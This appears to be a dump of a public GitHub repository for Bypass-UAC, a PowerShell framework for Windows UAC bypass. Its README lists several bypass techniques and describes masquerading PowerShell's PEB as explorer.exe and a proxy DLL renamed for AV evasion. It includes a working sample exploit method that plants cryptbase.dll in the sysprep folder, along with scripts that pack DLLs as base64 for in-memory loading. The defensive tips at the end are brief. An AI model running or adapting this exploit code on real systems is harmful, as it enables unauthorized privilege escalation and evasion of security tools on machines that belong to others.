SIGDN_PARENTRELATIVEEDITING = 0x80031001, 16 | SIGDN_DESKTOPABSOLUTEEDITING = 0x8004c000, 17 | SIGDN_FILESYSPATH = 0x80058000, 18 | SIGDN_URL = 0x80068000 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | // Stephen Toub 2 | 3 | using System.Reflection; 4 | using System.Runtime.CompilerServices; 5 | using System.Runtime.InteropServices; 6 | 7 | [assembly: AssemblyTitle("FileOperation")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FileOperation")] 12 | [assembly: AssemblyCopyright("Copyright © 2007")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | [assembly: ComVisible(false)] 16 | [assembly: Guid("3453bda0-100a-434e-88b7-17c5ba332d2f")] 17 | [assembly: AssemblyVersion("1.0.0.0")] 18 | [assembly: AssemblyFileVersion("1.0.0.0")] 19 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/FileOperations/FileOperations/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/FileOperations/FileOperations/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/obj/Release/FileOperation.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\b33f\Desktop\FileOperations_old\FileOperations\bin\Release\FileOperation.dll 2 | C:\Users\b33f\Desktop\FileOperations_old\FileOperations\bin\Release\FileOperation.pdb 3 | C:\Users\b33f\Desktop\FileOperations_old\FileOperations\obj\Release\FileOperation.csprojResolveAssemblyReference.cache 4 | C:\Users\b33f\Desktop\FileOperations_old\FileOperations\obj\Release\FileOperation.dll 5 | C:\Users\b33f\Desktop\FileOperations_old\FileOperations\obj\Release\FileOperation.pdb 6 | -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/obj/Release/FileOperation.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/FileOperations/FileOperations/obj/Release/FileOperation.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/obj/Release/FileOperation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/FileOperations/FileOperations/obj/Release/FileOperation.dll -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/FileOperations/obj/Release/FileOperation.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/FileOperations/FileOperations/obj/Release/FileOperation.pdb -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/Out-ManagedDll.ps1: -------------------------------------------------------------------------------- 1 | function Out-ManagedDll 2 | { 3 | [CmdletBinding()] Param ( 4 | [Parameter(Mandatory = $True)] 5 | [String] 6 | $FilePath 7 | ) 8 | 9 | $Path = Resolve-Path $FilePath 10 | 11 | if (! [IO.File]::Exists($Path)) 12 | { 13 | Throw "$Path does not exist." 14 | } 15 | 16 | $FileBytes = [System.IO.File]::ReadAllBytes($Path) 17 | 18 | if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ') 19 | { 20 | Throw "$Path is not a valid executable." 21 | } 22 | 23 | $Length = $FileBytes.Length 24 | $CompressedStream = New-Object IO.MemoryStream 25 | $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) 26 | $DeflateStream.Write($FileBytes, 0, $FileBytes.Length) 27 | $DeflateStream.Dispose() 28 | $CompressedFileBytes = $CompressedStream.ToArray() 29 | $CompressedStream.Dispose() 30 | $EncodedCompressedFile = [Convert]::ToBase64String($CompressedFileBytes) 31 | 32 | Write-Verbose "Compression ratio: $(($EncodedCompressedFile.Length/$FileBytes.Length).ToString('#%'))" 33 | 34 | $Output = @" 35 | `$EncodedCompressedFile = @' 36 | $EncodedCompressedFile 37 | '@ 38 | `$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`$EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) 39 | `$UncompressedFileBytes = New-Object Byte[]($Length) 40 | `$DeflatedStream.Read(`$UncompressedFileBytes, 0, $Length) | Out-Null 41 | [Reflection.Assembly]::Load(`$UncompressedFileBytes) 42 | "@ 43 | 44 | Write-Output $Output 45 | } -------------------------------------------------------------------------------- /Bypass-UAC/FileOperations/README.md: -------------------------------------------------------------------------------- 1 | # Build 2 | 3 | This project was built with Visual Studio 2015. 4 | 5 | # Replace Code In Bypass-UAC 6 | 7 | After compiling the dll, the "Out-ManagedDll" script can be used to generate output which allows for easy integration into Bypass-UAC. This script is based on [@mattifestation](https://twitter.com/mattifestation)'s post [here](http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html). 8 | 9 | ``` 10 | PS C:\> Out-ManagedDll -FilePath C:\Some\Path\output.dll 11 | 12 | $EncodedCompressedFile = @' 13 | 7Vt7fFx1lT/3kZnMJJk8GkoLAaZNS9PYhLzatFC0k8ykGTIvZiZ9YCXcmblJhk7mjvdO2oZSTBVRP4ACgqLAQl1YEFhhPwsfkccuAlbWFUHRBS0qiuKyvlBXF1Fkzzn3zp2ZJDzWP/y4n483ud/fOed3fud3fud3fr/7yE34nCtAAgAZz9dfB7gPzGMbvPUxj6fnlPs9cI/riVX3CaEnViWns4a3oGtTujLjTSv5vFb0plSvPpv3ZvNefzThndEyandDg3uNZSMWAAgJEr 14 | 15 | [..Snip..] 16 | 17 | F1MqifGoJSwdYp8f+GcC7Nvo3jRM4HsOoM4M/KuoXwbAsr66oK3D/czhahfXK/ntQp9SfH08D0uxHocrPkkYU5SqPplzbg7t/2cYOrjcq2vZCN+qUTuqzBfWD7Cvp4rM9tix79sZ9dePdao6/vx5lGyGsn+LWNMoCjo88n4JpoP9nWSzzwmfx9OJ9MMWQPinv5BiV7ZgzlUF+hud0rx1NQC3qM2rZy1p+l7zN/5/838pxj2GthrJZjHmxam7eLN4DHO/qtgujvjDmm7mNDzUMHlsKrc9hJN6q3V/02GZ+819451+6478dfw3H/wI= 18 | '@ 19 | $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) 20 | $UncompressedFileBytes = New-Object Byte[](14336) 21 | $DeflatedStream.Read($UncompressedFileBytes, 0, 14336) | Out-Null 22 | [Reflection.Assembly]::Load($UncompressedFileBytes) 23 | ``` -------------------------------------------------------------------------------- /Bypass-UAC/README.md: -------------------------------------------------------------------------------- 1 | # Bypass-UAC 2 | Bypass-UAC provides a framework to perform UAC bypasses based on auto elevating IFileOperation COM object method calls. This is not a new technique, traditionally, this is accomplished by injecting a DLL into "explorer.exe". This is not desirable because injecting into explorer may trigger security alerts and working with unmanaged DLL's makes for an inflexible work-flow. 3 | 4 | To get around this, Bypass-UAC implements a function which rewrites PowerShell's PEB to give it the appearance of "explorer.exe". This provides the same effect because COM objects exclusively rely on Windows's Process Status API (PSAPI) which reads the process PEB. 5 | 6 | # Usage 7 | 8 | Bypass-UAC is self-contained and does not have any dependencies, bar a requirement that the target have PowerShell v2. 9 | 10 | #### Methods 11 | 12 | * UacMethodSysprep: Original technique by Leo Davidson (sysprep -> cryptbase.dll) 13 | * Targets: x32/x64 Windows 7 & 8 14 | * ucmDismMethod: Hybrid method (PkgMgr -> DISM -> dismcore.dll) 15 | * Targets: x64 Win7+ (currently unpatched) 16 | * UacMethodMMC2: Hybrid method (mmc -> rsop.msc -> wbemcomn.dll) 17 | * Targets: x64 Win7+ (currently unpatched) 18 | * UacMethodTcmsetup: Hybrid method (tcmsetup -> tcmsetup.exe.local -> comctl32.dll) 19 | * Targets: x32/x64 Win7+ (UAC "0day" ¯\_(ツ)_/¯) 20 | * UacMethodNetOle32: Hybrid method (mmc some.msc -> Microsoft.NET\Framework[64]\..\ole32.dll) 21 | * Targets: x32/x64 Win7+ (UAC "0day" ¯\_(ツ)_/¯) 22 | 23 | #### Sample Output 24 | 25 | **Win 7 Pro** 26 | 27 | ![UacMethodSysprep](images/Win7-32.png) 28 | 29 | **Win 10 Pro** 30 | 31 | ![UacMethodTcmsetup](images/Win10-32.png) 32 | 33 | # Components 34 | 35 | #### PSReflect 36 | 37 | By [@mattifestation](https://twitter.com/mattifestation), allows you to easily define in-memory enums, structs, and Win32 functions. This is necessary because it allows PowerShell to use the Windows API without compiling c# at runtime. Doing that is ok most of the time but it writes temporary files to disk and won't work if csc is blacklisted. 38 | 39 | #### Masquerade-PEB 40 | 41 | A modified version of [Masquerade-PEB](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Masquerade-PEB.ps1), changed to use PSReflect. This function overwrites PowerShell's PEB to impersonate "explorer.exe". 42 | 43 | #### Invoke-IFileOperation 44 | 45 | Load a .NET dll into memory which exposes an IFileOperation COM object interface to PowerShell. This is based on work done by Stephen Toub, published in the December 2007 MSDN magazine (I added the pages in the [images](images) folder for reference). Further details available in the [FileOperations](FileOperations) folder. 46 | 47 | ``` 48 | PS C:\Users\b33f> $IFileOperation |Get-Member 49 | 50 | TypeName: FileOperation.FileOperation 51 | 52 | Name MemberType Definition 53 | ---- ---------- ---------- 54 | CopyItem Method void CopyItem(string source, string destination, string newName) 55 | DeleteItem Method void DeleteItem(string source) 56 | Dispose Method void Dispose(), void IDisposable.Dispose() 57 | Equals Method bool Equals(System.Object obj) 58 | GetHashCode Method int GetHashCode() 59 | GetType Method type GetType() 60 | MoveItem Method void MoveItem(string source, string destination, string newName) 61 | NewItem Method void NewItem(string folderName, string name, System.IO.FileAttributes attrs) 62 | PerformOperations Method void PerformOperations() 63 | RenameItem Method void RenameItem(string source, string newName) 64 | ToString Method string ToString() 65 | ``` 66 | 67 | #### Emit-Yamabiko 68 | 69 | Bootstrap function which writes an x32/x64 bit proxy dll to disk (Yamabiko). This dll is based on [fubuki](https://github.com/hfiref0x/UACME/tree/master/Source/Fubuki) from [@hfiref0x](https://twitter.com/hfiref0x)'s UACME project. Mostly I stripped out the redundant functionality and did some minor renaming for AV evasion. Further details available in the [Yamabiko](Yamabiko) folder. 70 | 71 | # Contributing 72 | 73 | Currently there are five methods in Bypass-UAC, I will add more gradually but it would be awesome if people want to contribute. It is really easy to add a new method, provided you need an elevated file copy/move/rename or folder creation. A sample method can be seen below for reference. 74 | 75 | ```powershell 76 | 'UacMethodSysprep' 77 | { 78 | # Original Leo Davidson sysprep method 79 | # Works on everything pre 8.1 80 | if ($OSMajorMinor -ge 6.3) { 81 | echo "[!] Your OS does not support this method!`n" 82 | Return 83 | } 84 | 85 | # Impersonate explorer.exe 86 | echo "`n[!] Impersonating explorer.exe!" 87 | Masquerade-PEB -BinPath "C:\Windows\explorer.exe" 88 | 89 | if ($DllPath) { 90 | echo "[>] Using custom proxy dll.." 91 | echo "[+] Dll path: $DllPath" 92 | } else { 93 | # Write Yamabiko.dll to disk 94 | echo "[>] Dropping proxy dll.." 95 | Emit-Yamabiko 96 | } 97 | 98 | # Expose IFileOperation COM object 99 | Invoke-IFileOperation 100 | 101 | # Exploit logic 102 | echo "[>] Performing elevated IFileOperation::MoveItem operation.." 103 | $IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\System32\sysprep\'), "cryptbase.dll") 104 | $IFileOperation.PerformOperations() 105 | echo "`n[?] Executing sysprep.." 106 | IEX $($env:SystemRoot + '\System32\sysprep\sysprep.exe') 107 | 108 | # Clean-up 109 | echo "[!] UAC artifact: $($env:SystemRoot + '\System32\sysprep\cryptbase.dll')`n" 110 | } 111 | ``` 112 | 113 | Similarly, using [EXPORTSTOC++](http://sourcesecure.net/tools/exportstoc/) you can easily copy/paste exports into Yamabiko to target new binaries! 114 | 115 | # Disclaimer 116 | 117 | This project is for authorized use only, that goes without saying, I don't take responsibility for foolish people doing bad things! 118 | 119 | #### Protect Yourself 120 | 121 | * Don't provide users with local Administrator rights. 122 | * Change the default UAC setting to "Always notify me and wait for my response" & require users to enter their password. 123 | * Remember Microsoft's official position is that UAC is not a security feature! 124 | 125 | # References 126 | 127 | * Anatomy of UAC Attacks 128 | * http://www.fuzzysecurity.com/tutorials/27.html 129 | * UACME 130 | * https://github.com/hfiref0x/UACME 131 | * Windows 7 UAC whitelist 132 | * http://www.pretentiousname.com/misc/win7_uac_whitelist2.html 133 | * Malicious Application Compatibility Shims 134 | * https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf 135 | * KernelMode UACMe thread 136 | * http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3643 137 | * KernelMode, Using SxS redirection to gain NT AUTHORITY\SYSTEM privileges 138 | * http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3643&start=110 139 | * Syscan360, UAC security issues 140 | * https://www.syscan360.org/slides/2013_ZH_DeepThinkingTheUACSecurityIssues_Instruder.pdf 141 | * Microsoft technet, Inside Windows 7 User Account Control 142 | * https://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx 143 | * Cobalt Strike, User Account Control – What Penetration Testers Should Know 144 | * http://blog.cobaltstrike.com/2014/03/20/user-account-control-what-penetration-testers-should-know/ 145 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Out-UnmanagedDll.ps1: -------------------------------------------------------------------------------- 1 | function Out-UnmanagedDll 2 | { 3 | [CmdletBinding()] Param ( 4 | [Parameter(Mandatory = $True)] 5 | [String] 6 | $FilePath 7 | ) 8 | 9 | $Path = Resolve-Path $FilePath 10 | 11 | if (! [IO.File]::Exists($Path)) 12 | { 13 | Throw "$Path does not exist." 14 | } 15 | 16 | $FileBytes = [System.IO.File]::ReadAllBytes($Path) 17 | 18 | if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ') 19 | { 20 | Throw "$Path is not a valid executable." 21 | } 22 | 23 | # Encode 24 | $Length = $FileBytes.Length 25 | $CompressedStream = New-Object IO.MemoryStream 26 | $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) 27 | $DeflateStream.Write($FileBytes, 0, $FileBytes.Length) 28 | $DeflateStream.Dispose() 29 | $CompressedFileBytes = $CompressedStream.ToArray() 30 | $CompressedStream.Dispose() 31 | $EncodedCompressedFile = [Convert]::ToBase64String($CompressedFileBytes) 32 | 33 | # Decode 34 | $Output = @" 35 | `$EncodedCompressedFile = @' 36 | $EncodedCompressedFile 37 | '@ 38 | `$Stream = new-object -TypeName System.IO.MemoryStream 39 | `$DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`$EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) 40 | `$buffer = New-Object Byte[]($Length) 41 | `$count = 0 42 | do 43 | { 44 | `$count = `$DeflateStream.Read(`$buffer, 0, 1024) 45 | if (`$count -gt 0) 46 | { 47 | `$Stream.Write(`$buffer, 0, `$count) 48 | } 49 | } 50 | While (`$count -gt 0) 51 | `$array = `$stream.ToArray() 52 | `$DeflateStream.Close() 53 | `$Stream.Close() 54 | Set-Content -value `$array -encoding byte -path `$DllPath 55 | "@ 56 | 57 | Write-Output $Output 58 | } -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/README.md: -------------------------------------------------------------------------------- 1 | # Build 2 | 3 | This project was built with Visual Studio 2015. 4 | 5 | # Replace Code In Bypass-UAC 6 | 7 | After compiling the x32/x64 dll's, the "Out-UnmanagedDll" script can be used to generate output which allows for easy integration into Bypass-UAC. This script is based on [@mattifestation](https://twitter.com/mattifestation)'s post [here](http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html). 8 | 9 | ``` 10 | PS C:\> Out-UnmanagedDll -FilePath C:\Some\Path\output.dll 11 | 12 | $EncodedCompressedFile = @' 13 | 7V0JmBvFlX7jjBPbHDYbYIHsEgH2jg88nsM22NhuaSSNR/ZcHs1hG8PQI7Vm2pa6RXfL9jgkHLYDZjA2IewmQMy1RyBkEwIbh8sxkOWMwxFgl2MTw3Ltt2Rhv5BNSDbx/lUtzUialtTd0pjvy0bwT6urXv3vdXW9qlfVLVfb+r30KSKqBo4cIfoBmR8vlf4cBo7//APH031TD53xg6rWQ2d0D8m6J6mpg5qY8ERERVENz4Dk0VKKR1Y8gY6wJ6FGpdrjjps2M82RWDH30J 14 | 15 | [..Snip..] 16 | 17 | ZcLWRNzDhmQMZctr6mvrajySElGj6ECW1/R0N88/t8bDwsGoyH4KvbxmWNJrhBXHTVuGEExKDMSHPSBQ9OU1KU1ZqrOBVdTnJ+SIpupqzJiP/n2pqCdqN9fXeBKiIscwzvVmawOVx7MMUSZ7KzKmptnOLMHWeCYvh5K6FElpsjGcPkeKJl2cghYpysZ3OS4NSvpoZnZ2cCuK8p/RSZuluCfO/i6vETE8blY3SVqNJyX7IqxrXF4TE+O6VONZMKZkQWEtyxbk2LRswejFsWpbkKk3nIzrl/4ffmaY46uvLlYXr3uz7vT6efVL6j9po/70OVqf/wM= 18 | '@ 19 | $Stream = new-object -TypeName System.IO.MemoryStream 20 | $DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) 21 | $buffer = New-Object Byte[](32256) 22 | $count = 0 23 | do 24 | { 25 | $count = $DeflateStream.Read($buffer, 0, 1024) 26 | if ($count -gt 0) 27 | { 28 | $Stream.Write($buffer, 0, $count) 29 | } 30 | } 31 | While ($count -gt 0) 32 | $array = $stream.ToArray() 33 | $DeflateStream.Close() 34 | $Stream.Close() 35 | Set-Content -value $array -encoding byte -path $DllPath 36 | ``` -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/Shared/_strcat.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | char *_strcat_a(char *dest, const char *src) 4 | { 5 | if ( (dest==0) || (src==0) ) 6 | return dest; 7 | 8 | while ( *dest!=0 ) 9 | dest++; 10 | 11 | while ( *src!=0 ) { 12 | *dest = *src; 13 | dest++; 14 | src++; 15 | } 16 | 17 | *dest = 0; 18 | return dest; 19 | } 20 | 21 | wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src) 22 | { 23 | if ( (dest==0) || (src==0) ) 24 | return dest; 25 | 26 | while ( *dest!=0 ) 27 | dest++; 28 | 29 | while ( *src!=0 ) { 30 | *dest = *src; 31 | dest++; 32 | src++; 33 | } 34 | 35 | *dest = 0; 36 | return dest; 37 | } 38 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/Shared/_strcpy.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | char *_strcpy_a(char *dest, const char *src) 4 | { 5 | char *p; 6 | 7 | if ( (dest==0) || (src==0) ) 8 | return dest; 9 | 10 | if (dest == src) 11 | return dest; 12 | 13 | p = dest; 14 | while ( *src!=0 ) { 15 | *p = *src; 16 | p++; 17 | src++; 18 | } 19 | 20 | *p = 0; 21 | return dest; 22 | } 23 | 24 | wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src) 25 | { 26 | wchar_t *p; 27 | 28 | if ((dest == 0) || (src == 0)) 29 | return dest; 30 | 31 | if (dest == src) 32 | return dest; 33 | 34 | p = dest; 35 | while ( *src!=0 ) { 36 | *p = *src; 37 | p++; 38 | src++; 39 | } 40 | 41 | *p = 0; 42 | return dest; 43 | } 44 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/Shared/minirtl.h: -------------------------------------------------------------------------------- 1 | /* 2 | Module name: 3 | minirtl.h 4 | 5 | Description: 6 | header for string handling and conversion routines 7 | 8 | Date: 9 | 1 Mar 2015 10 | */ 11 | 12 | #ifndef _MINIRTL_ 13 | #define _MINIRTL_ 14 | 15 | // string copy/concat/length 16 | 17 | char *_strend_a(const char *s); 18 | wchar_t *_strend_w(const wchar_t *s); 19 | 20 | char *_strcpy_a(char *dest, const char *src); 21 | wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src); 22 | 23 | char *_strcat_a(char *dest, const char *src); 24 | wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src); 25 | 26 | char *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc); 27 | wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc); 28 | 29 | size_t _strlen_a(const char *s); 30 | size_t _strlen_w(const wchar_t *s); 31 | 32 | // comparing 33 | 34 | int _strcmp_a(const char *s1, const char *s2); 35 | int _strcmp_w(const wchar_t *s1, const wchar_t *s2); 36 | 37 | int _strncmp_a(const char *s1, const char *s2, size_t cchars); 38 | int _strncmp_w(const wchar_t *s1, const wchar_t *s2, size_t cchars); 39 | 40 | int _strcmpi_a(const char *s1, const char *s2); 41 | int _strcmpi_w(const wchar_t *s1, const wchar_t *s2); 42 | 43 | int _strncmpi_a(const char *s1, const char *s2, size_t cchars); 44 | int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars); 45 | 46 | char *_strstr_a(const char *s, const char *sub_s); 47 | wchar_t *_strstr_w(const wchar_t *s, const wchar_t *sub_s); 48 | 49 | char *_strstri_a(const char *s, const char *sub_s); 50 | wchar_t *_strstri_w(const wchar_t *s, const wchar_t *sub_s); 51 | 52 | // conversion of integer types to string, returning string length 53 | 54 | size_t ultostr_a(unsigned long x, char *s); 55 | size_t ultostr_w(unsigned long x, wchar_t *s); 56 | 57 | size_t ultohex_a(unsigned long x, char *s); 58 | size_t ultohex_w(unsigned long x, wchar_t *s); 59 | 60 | size_t itostr_a(int x, char *s); 61 | size_t itostr_w(int x, wchar_t *s); 62 | 63 | size_t i64tostr_a(signed long long x, char *s); 64 | size_t i64tostr_w(signed long long x, wchar_t *s); 65 | 66 | size_t u64tostr_a(unsigned long long x, char *s); 67 | size_t u64tostr_w(unsigned long long x, wchar_t *s); 68 | 69 | size_t u64tohex_a(unsigned long long x, char *s); 70 | size_t u64tohex_w(unsigned long long x, wchar_t *s); 71 | 72 | // string to integers conversion 73 | 74 | unsigned long strtoul_a(char *s); 75 | unsigned long strtoul_w(wchar_t *s); 76 | 77 | unsigned long long strtou64_a(char *s); 78 | unsigned long long strtou64_w(wchar_t *s); 79 | 80 | unsigned long hextoul_a(char *s); 81 | unsigned long hextoul_w(wchar_t *s); 82 | 83 | int strtoi_a(char *s); 84 | int strtoi_w(wchar_t *s); 85 | 86 | signed long long strtoi64_a(char *s); 87 | signed long long strtoi64_w(wchar_t *s); 88 | 89 | unsigned long long hextou64_a(char *s); 90 | unsigned long long hextou64_w(wchar_t *s); 91 | 92 | /* =================================== */ 93 | 94 | #ifdef UNICODE 95 | 96 | #define _strend _strend_w 97 | #define _strcpy _strcpy_w 98 | #define _strcat _strcat_w 99 | #define _strlen _strlen_w 100 | #define _strncpy _strncpy_w 101 | 102 | #define _strcmp _strcmp_w 103 | #define _strncmp _strncmp_w 104 | #define _strcmpi _strcmpi_w 105 | #define _strncmpi _strncmpi_w 106 | #define _strstr _strstr_w 107 | #define _strstri _strstri_w 108 | 109 | #define ultostr ultostr_w 110 | #define ultohex ultohex_w 111 | #define itostr itostr_w 112 | #define i64tostr i64tostr_w 113 | #define u64tostr u64tostr_w 114 | #define u64tohex u64tohex_w 115 | 116 | #define strtoul strtoul_w 117 | #define hextoul hextoul_w 118 | #define strtoi strtoi_w 119 | #define strtoi64 strtoi64_w 120 | #define strtou64 strtou64_w 121 | #define hextou64 hextou64_w 122 | 123 | #else // ANSI 124 | 125 | #define _strend _strend_a 126 | #define _strcpy _strcpy_a 127 | #define _strcat _strcat_a 128 | #define _strlen _strlen_a 129 | #define _strncpy _strncpy_a 130 | #define _strcmp _strcmp_a 131 | 132 | #define _strcmp _strcmp_a 133 | #define _strncmp _strncmp_a 134 | #define _strcmpi _strcmpi_a 135 | #define _strncmpi _strncmpi_a 136 | #define _strstr _strstr_a 137 | #define _strstri _strstri_a 138 | 139 | #define ultostr ultostr_a 140 | #define ultohex ultohex_a 141 | #define itostr itostr_a 142 | #define i64tostr i64tostr_a 143 | #define u64tostr u64tostr_a 144 | #define u64tohex u64tohex_a 145 | 146 | #define strtoul strtoul_a 147 | #define hextoul hextoul_a 148 | #define strtoi strtoi_a 149 | #define strtoi64 strtoi64_a 150 | #define strtou64 strtou64_a 151 | #define hextou64 hextou64_a 152 | 153 | #endif 154 | 155 | #endif /* _MINIRTL_ */ 156 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/Shared/rtltypes.h: -------------------------------------------------------------------------------- 1 | #ifndef _WCHAR_T_DEFINED 2 | typedef unsigned short wchar_t; 3 | #define _WCHAR_T_DEFINED 4 | #endif /* _WCHAR_T_DEFINED */ 5 | 6 | #ifndef _SIZE_T_DEFINED 7 | #ifdef _WIN64 8 | typedef unsigned __int64 size_t; 9 | #else /* _WIN64 */ 10 | typedef __w64 unsigned int size_t; 11 | #endif /* _WIN64 */ 12 | #define _SIZE_T_DEFINED 13 | #endif /* _SIZE_T_DEFINED */ 14 | 15 | __forceinline char locase_a(char c) 16 | { 17 | if ((c >= 'A') && (c <= 'Z')) 18 | return c + 0x20; 19 | else 20 | return c; 21 | } 22 | 23 | __forceinline wchar_t locase_w(wchar_t c) 24 | { 25 | if ((c >= 'A') && (c <= 'Z')) 26 | return c + 0x20; 27 | else 28 | return c; 29 | } 30 | 31 | __forceinline char byteabs(char x) { 32 | if (x < 0) 33 | return -x; 34 | return x; 35 | } 36 | 37 | __forceinline int _isdigit_a(char x) { 38 | return ((x >= '0') && (x <= '9')); 39 | } 40 | 41 | __forceinline int _isdigit_w(wchar_t x) { 42 | return ((x >= L'0') && (x <= L'9')); 43 | } 44 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/dll.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Fubuki", "dll.vcxproj", "{23A2E629-DC9D-46EA-8B5A-F1D60566EA09}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Debug|x64.ActiveCfg = Debug|x64 17 | {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Debug|x64.Build.0 = Debug|x64 18 | {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Debug|x86.ActiveCfg = Debug|Win32 19 | {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Debug|x86.Build.0 = Debug|Win32 20 | {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Release|x64.ActiveCfg = Release|x64 21 | {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Release|x64.Build.0 = Release|x64 22 | {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Release|x86.ActiveCfg = Release|Win32 23 | {23A2E629-DC9D-46EA-8B5A-F1D60566EA09}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/dll.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {23A2E629-DC9D-46EA-8B5A-F1D60566EA09} 23 | Win32Proj 24 | dll 25 | Yamabiko 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | DynamicLibrary 36 | true 37 | v140 38 | Unicode 39 | 40 | 41 | DynamicLibrary 42 | false 43 | v140 44 | true 45 | Unicode 46 | 47 | 48 | DynamicLibrary 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | true 72 | .\output\$(Platform)\$(Configuration)\ 73 | .\output\$(Platform)\$(Configuration)\ 74 | false 75 | SecurityRules.ruleset 76 | $(ProjectName)32 77 | 78 | 79 | true 80 | 